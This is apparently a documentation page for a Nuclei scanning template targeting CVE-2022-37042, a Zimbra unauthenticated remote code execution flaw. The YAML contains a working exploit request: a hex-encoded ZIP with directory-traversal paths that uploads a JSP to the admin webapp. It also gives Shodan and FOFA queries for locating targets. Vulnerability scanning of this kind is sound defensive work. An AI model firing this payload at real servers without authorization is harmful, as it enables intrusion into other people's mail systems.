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Zimbra Collaboration Suite 8.8.15/9.0 - Remote Code Execution

ID: CVE-2022-37042

Severity: critical

Author: _0xf4n9x_,For3stCo1d

Tags: cve,cve2022,zimbra,rce,unauth,kev

Description

Section titled “Description”

Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. NOTE: this issue exists because of an incomplete fix for CVE-2022-27925.

YAML Source

Section titled “YAML Source”
id: CVE-2022-37042


info:
  name: Zimbra Collaboration Suite 8.8.15/9.0 - Remote Code Execution
  author: _0xf4n9x_,For3stCo1d
  severity: critical
  description: |
    Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. NOTE: this issue exists because of an incomplete fix for CVE-2022-27925.
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Zimbra Collaboration Suite.
  reference:
    - https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/
    - https://blog.zimbra.com/2022/08/authentication-bypass-in-mailboximportservlet-vulnerability/
    - https://github.com/vnhacker1337/CVE-2022-27925-PoC
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37042
    - https://wiki.zimbra.com/wiki/Security_Center
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-37042
    cwe-id: CWE-22
    epss-score: 0.97554
    epss-percentile: 0.99997
    cpe: cpe:2.3:a:zimbra:collaboration:8.8.15:-:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: zimbra
    product: collaboration
    shodan-query:
      - http.favicon.hash:"1624375939"
      - http.favicon.hash:"475145467"
    fofa-query:
      - app="zimbra-邮件系统"
      - icon_hash="475145467"
      - icon_hash="1624375939"
  tags: cve,cve2022,zimbra,rce,unauth,kev


http:
  - raw:
      - |
        POST {{path}} HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        content-type: application/x-www-form-urlencoded


        {{hex_decode("504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000000000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000f00000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b05060000000002000200d6000000e00100000000")}}
      - |
        GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp HTTP/1.1
        Host: {{Hostname}}


    payloads:
      path:
        - /service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1
        - /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd


    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 401'
          - 'status_code_2 == 200'
          - "contains(body_2,'NcbWd0XGajaWS4DmOvZaCkxL1aPEXOZu')"
        condition: and
# digest: 490a00463044022041cdd220ad5931429a9487d90db5190f9bd0f30e1262f78df67272efd04b066102206f08bacd9904e89727de6d18468c7c356f488e6018d0f77aec5ce0992fd3eb09:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-37042.yaml"

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